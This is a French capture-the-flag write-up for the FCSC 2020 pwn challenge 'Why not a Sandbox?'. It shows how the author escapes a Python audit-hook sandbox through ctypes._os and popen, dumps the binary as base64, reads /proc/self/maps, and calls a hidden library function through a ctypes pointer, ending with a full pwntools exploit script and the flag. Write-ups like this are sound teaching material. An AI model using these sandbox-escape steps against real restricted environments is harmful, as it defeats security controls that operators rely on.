Challenge : Why not a Sandbox ?
Catégorie : Pwn

Énoncé :
Votre but est d'appeler la fonction print_flag pour afficher le flag.

Table des matières

1) PREMIERE APPROCHE 2
2) REVERSE ENGINEERING 3
3) EXPLOIT ET SCRIPT PYTHON 4

1) Première approche

En guise de première approche on peut lancer le service et commencer à recueillir quelques informations.

```
SoEasY in ~/Bureau/Sandbox [00:29]
> nc challenges1.france-cybersecurity-challenge.fr 4005
Arriverez-vous à appeler la fonction print_flag ?
Python 3.8.3rc1 (default, Apr 30 2020, 07:33:30)
[GCC 9.3.0] on linux
>>>
```

On arrive donc sur un interpréteur python 3.8. On peut alors chercher le moyen de faire pop un shell ou au moins d'exécuter des commandes.

```
>>> import os
Exception ignored in audit hook:
Exception: Action interdite
Exception: Module non autorisé
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
Exception: Action interdite
```

Comme on pouvait s'y attendre, une liste assez exhaustive de modules prévus à cet effet a été interdite à l'utilisation.

L'énoncé nous disant qu'il nous faudra appeler une fonction spécifique, on peut alors penser que l'on aura à manipuler des DLL, librairies partagées avec le langage C ou autres : on peut alors penser au module « ctypes ».

```
>>> import ctypes
>>> dir(ctypes)
['ARRAY', 'ArgumentError', 'Array', 'BigEndianStructure', 'CDLL', 'CFUNCTYPE', 'DEFAULT_MODE', 'LibraryLoader', 'LittleEndianStructure', 'POINTER', 'PYFUNCTYPE', 'PyDLL', 'RTLD_GLOBAL', 'RTLD_LOCAL', 'SetPointerType', 'Structure', 'Union', '_CFuncPtr', '_FUNCFLAG_CDECL', '_FUNCFLAG_PYTHONAPI', '_FUNCFLAG_USE_ERRNO', '_FUNCFLAG_USE_LASTERROR', '_Pointer', '_SimpleCData', '__builtins__', '__cached__', '__doc__', '__file__', '__loader__', '__name__', '__package__', '__path__', '__spec__', '__version__', '_c_functype_cache', '_calcsize', '_cast', '_cast_addr', '_check_size', '_ctypes_version', '_dlopen', '_endian', '_memmove_addr', '_memset_addr', '_os', '_pointer_type_cache', '_reset_cache', '_string_at', '_string_at_addr', '_sys', '_wstring_at', '_wstring_at_addr', 'addressof', 'alignment', 'byref', 'c_bool', 'c_buffer', 'c_byte', 'c_char', 'c_char_p', 'c_double', 'c_float', 'c_int', 'c_int16', 'c_int32', 'c_int64', 'c_int8', 'c_long', 'c_longdouble', 'c_longlong', 'c_short', 'c_size_t', 'c_ssize_t', 'c_ubyte', 'c_uint', 'c_uint16', 'c_uint32', 'c_uint64', 'c_uint8', 'c_ulong', 'c_ulonglong', 'c_ushort', 'c_void_p', 'c_voidp', 'c_wchar', 'c_wchar_p', 'cast', 'cdll', 'create_string_buffer', 'create_unicode_buffer', 'get_errno', 'memmove', 'memset', 'pointer', 'py_object', 'pydll', 'pythonapi', 'resize', 'set_errno', 'sizeof', 'string_at', 'wstring_at']
```

Bingo ! On va donc pouvoir utiliser ctypes.

On en profite alors pour lister les attributs de ce module et on repère ainsi le module « _os » qui va pouvoir nous servir à exécuter des commandes système. On crée alors un raccourci et on essaie de lancer des commandes.

```
>>> os = __import__('ctypes')._os
>>> os.system('ls -')
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
Exception: Action interdite
>>> os.popen('ls -l').read()
'total 32\n-r-------- 1 ctf-init ctf 16064 May  2 10:10 lib_flag.so\n-r-sr-x--- 1 ctf-init ctf 14904 May  2 10:10 spython\n'
>>> os.popen('id').read()
'uid=1001(ctf) gid=1001(ctf) groups=1001(ctf)\n'
```

Encore une fois, l'appel à certaines fonctions comme system nous est interdit mais on trouve le moyen de lancer des commandes grâce à popen.

On trouve ici deux fichiers dans le dossier courant : le binaire, « spython », s'exécutant à la connexion au service ainsi qu'une librairie qui semble intéressante nommée « lib_flag.so » (Shared Object).
Cette librairie contient surement la fameuse fonction « print_flag » mais nous n'avons pas les droits pour la lire en tant que « ctf ».

2) Reverse engineering

On va alors chercher à récupérer le binaire pour l'analyser.
Pour cela, on peut utiliser la commande « od -t x1 spython » pour dump le code hexadécimal du binaire et le reconstruire en local sur notre machine, ou plus simplement récupérer le binaire sous forme de base 64.

```
>>> os.popen('base64 spython').read()
'f0VMRgIBAQAAAAAAAAAAAAMAPgABAAAAoBIAAAAAAAB
AIAAAAAAABoAgAAAAAAAAgA\nAAAAAAAAAwAAAAQAAAC
AAAAAAAAAAAAAAAAAAAAAFANAAAAAAAAAUA0AAAAAAAAE
QAAAAQAAAAIAAAAAAAAAAgAAAAAAAAACAAAAAAAABYB
AAAAAAAAAFAAAAAAA\nAAIAAAAGAAAAuC0AAAAAAAC4B
```

On copie alors le résultat dans un éditeur de texte sur notre machine, on supprime les retours à la ligne « \n » puis on construit le binaire en décodant la base 64.

```
SoEasY in ~/Bureau/Sandbox [01:13]
> nano spython_b64

SoEasY in ~/Bureau/Sandbox [01:14]
> base64 -d spython_b64 > spython

SoEasY in ~/Bureau/Sandbox [01:14]
> file spython
spython: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, Build
ID[sha1]=68469ad1a30d5ba6695bbcec660ac09032cefece, for GNU/Linux 3.2.0, stripped
```

On obtient alors un ELF 64 bits (x86_64 Intel) strippé et surtout *linké dynamiquement*. On peut alors de suite vérifier l'import de la librairie lib_flag.so dans le programme.

```
SoEasY in ~/Bureau/Sandbox [01:19]
> readelf -d spython

La section dynamique à l'offset 0x2db8 contient 29 entrées :
  Étiquettes Type                         Nom/Valeur
 0x0000000000000001 (NEEDED)             Bibliothèque partagée: [libpython3.8.so.1.0]
 0x0000000000000001 (NEEDED)             Bibliothèque partagée: [lib_flag.so]
 0x0000000000000001 (NEEDED)             Bibliothèque partagée: [libc.so.6]
 0x000000000000001d (RUNPATH)            Bibliothèque runpath:[/app]
```

On a bien ici la librairie lib_flag.so qui est linkée avec notre programme.
Voyons dans les fonctions load au début de l'exécution du binaire si la fonction print_flag ou tout autre fonction de cette librairie est chargée.
Pour cela, j'utilise ici le désassembleur IDA.

```
LOAD:0000000000000723                                   ; DATA XREF: LOAD:00000000000003A8↑o
LOAD:0000000000000744 aLibFlagSo      db 'lib_flag.so',0
LOAD:0000000000000750 aWelcome        db 'welcome',0    ; DATA XREF: LOAD:0000000000000588↑o
LOAD:0000000000000758 aLibcSo6        db 'libc.so.6',0
LOAD:0000000000000762 aSetuid         db 'setuid',0     ; DATA XREF: LOAD:00000000000003F0↑o
LOAD:0000000000000769 aStrncmp        db 'strncmp',0    ; DATA XREF: LOAD:0000000000000360↑o
LOAD:0000000000000771 aSetreuid       db 'setreuid',0   ; DATA XREF: LOAD:00000000000004E0↑o
LOAD:000000000000077A aStrlen         db 'strlen',0     ; DATA XREF: LOAD:0000000000000420↑o
LOAD:0000000000000781 aGetuid         db 'getuid',0     ; DATA XREF: LOAD:0000000000000510↑o
LOAD:0000000000000788 aGeteuid        db 'geteuid',0    ; DATA XREF: LOAD:00000000000003D8↑o
```

On voit donc ici qu'une seule fonction de la librairie lib_flag.so est chargée : il s'agit de la fonction « welcome ».
Allons chercher son adresse dans la section « .got.plt » (Global Offset Table/Procedure Linkage Table) : cela nous servira pour appeler la fonction print_flag contenue dans la même librairie.

```
.got.plt:0000000000004098 off_4098    dq offset PyObject_RichCompareBool
.got.plt:0000000000004098                                   ; DATA XREF:  PyObject_RichCompareBool↑r
.got.plt:00000000000040A0 off_40A0    dq offset PyErr_SetString
.got.plt:00000000000040A0                                   ; DATA XREF:  PyErr_SetString↑r
.got.plt:00000000000040A8 off_40A8    dq offset welcome     ; DATA XREF:  welcome↑r
.got.plt:00000000000040B0 off_40B0    dq offset PyUnicode_AsUTF8
.got.plt:00000000000040B0                                   ; DATA XREF:  PyUnicode_AsUTF8↑r
.got.plt:00000000000040B8 off_40B8    dq offset Py_IsInitialized
.got.plt:00000000000040B8                                   ; DATA XREF:  Py_IsInitialized↑r
```

On trouve donc comme adresse 0x40A8 pour la fonction welcome, ce qui nous servira de base pour bruteforce l'adresse de la fonction print_flag qui doit se trouver après la fonction welcome dans la librairie lib_flag.so.

Il nous manque une information pour pouvoir correctement appeler notre fonction : la base address du binaire spython. En effet, l'adresse trouvée pour welcome est relative à cette base address (adresse « réelle » de welcome : base address + 0x40A8).

Pour cela, on va afficher le contenu du fichier /proc/self/maps.

```
SoEasY in ~/Bureau/Sandbox [02:29]
> nc challenges1.france-cybersecurity-challenge.fr 4005
Arriverez-vous à appeler la fonction print_flag ?
Python 3.8.3rc1 (default, Apr 30 2020, 07:33:30)
[GCC 9.3.0] on linux
>>> import ctypes
>>> ctypes.__loader__.get_data("/proc/self/maps").decode()
'55912e3a4000-55912e3a5000 r--p 00000000 09:03 14419495                  /app/spython
```

On a donc ici en première position la base address pour spython.
Cependant, cette adresse est susceptible de changer d'une exécution à l'autre. On comprend alors qu'il va falloir automatiser l'exploit.

3) Exploit et script python

Pour automatiser la résolution de ce script, je vais encore une fois utiliser python avec pwntools.
On commence donc par importer pwntools et établir la connexion au service.

Pour récupérer uniquement la base address de spython dans le fichier /proc/self/maps il suffit de split la chaine retournée par la commande en utilisant le tiret comme délimiteur et prendre le premier élément du tableau créé.

```
1  from pwn import *
2
3  r = remote('challenges1.france-cybersecurity-challenge.fr', 4005)
4
5  r.sendline('import ctypes')
6  r.sendline('base_address = ctypes.__loader__.get_data("/proc/self/maps").decode().split("-")[0]')
```

Le résultat restant une chaine de caractères, on va indiquer que l'on veut interpréter cette chaine comme un entier auquel on va ajouter l'adresse relative de la fonction welcome, soit 0x40A8.

```
7   r.sendline('welcome_address = int(base_address,16) + 0x40A8')
```

On va ensuite créer un pointeur qui va référencer l'adresse de la fonction welcome (base address + 0x40A8).

```
9   r.sendline('pointeur = ctypes.cast(welcome_address, ctypes.POINTER(ctypes.c_int64))')
```

On va ensuite bruteforce pour trouver l'adresse de la fonction print_flag.
En effet, selon toute logique la fonction print_flag doit se trouver après la fonction welcome dans la librairie lib_flag.so.

On va ensuite créer une fonction de type void (sans type de retour) et on fait pointer son exécution vers l'adresse de la fonction welcome (sans oublier le r.interactive() à la fin du script).

```
10  r.sendline('flag_address = pointeur.contents.value')
11  r.sendline('ctypes.CFUNCTYPE(ctypes.c_void_p)(flag_address) ()')
```

On teste alors notre script.

```
SoEasY in ~/Bureau/Sandbox [03:31]¨
> python script.py
[+] Opening connection to challenges1.france-cybersecurity-challenge.fr on port 4005: Done
[*] Switching to interactive mode
Arriverez-vous à appeler la fonction print_flag ?
Python 3.8.3rc1 (default, Apr 30 2020, 07:33:30)
[GCC 9.3.0] on linux
>>> >>> >>> >>> >>> >>> Arriverez-vous à appeler la fonction print_flag ?
51
>>> $
[*] Interrupted
[*] Closed connection to challenges1.france-cybersecurity-challenge.fr port 4005
```

Tout marche parfaitement ! Il nous reste juste à bruteforce l'offset entre la fonction welcome et la fonction print_flag dans la librairie lib_flag.so.

Pour cela, on va augmenter exécution après exécution la valeur de l'offset jusqu'à ce que le flag s'affiche.
On trouve alors rapidement un offset de 20 octets et on a donc le script au complet.

```
1   from pwn import *
2
3   r = remote('challenges1.france-cybersecurity-challenge.fr', 4005)
4
5   r.sendline('import ctypes')
6   r.sendline('base_address = ctypes.__loader__.get_data("/proc/self/maps").decode().split("-")[0]')
7   r.sendline('welcome_address = int(base_address,16) + 0x40A8')
8
9   r.sendline('pointeur = ctypes.cast(welcome_address, ctypes.POINTER(ctypes.c_int64))')
10  r.sendline('flag_address = pointeur.contents.value + 20')
11  r.sendline('ctypes.CFUNCTYPE(ctypes.c_void_p)(flag_address) ()')
12
13  r.interactive()
```

On l'exécute et on récupère le flag.

```
SoEasY in ~/Bureau/Sandbox [03:34]
> python script.py
[+] Opening connection to challenges1.france-cybersecurity-challenge.fr on port 4005: Done
[*] Switching to interactive mode
Arriverez-vous à appeler la fonction print_flag ?
Python 3.8.3rc1 (default, Apr 30 2020, 07:33:30)
[GCC 9.3.0] on linux
>>> >>> >>> >>> >>> >>> super flag: FCSC{55660e5c9e048d988917e2922eb1130063ebc1030db025a81fd04bda75bab1c3}
timeout: the monitored command dumped core
[*] Got EOF while reading in interactive
$
[*] Interrupted
[*] Closed connection to challenges1.france-cybersecurity-challenge.fr port 4005
```

Challenge terminé ! Ce fut pour moi le challenge le plus difficile mais aussi le plus intéressant de ce FCSC 2020, un challenge qui m'aura apporté beaucoup de nouvelles connaissances.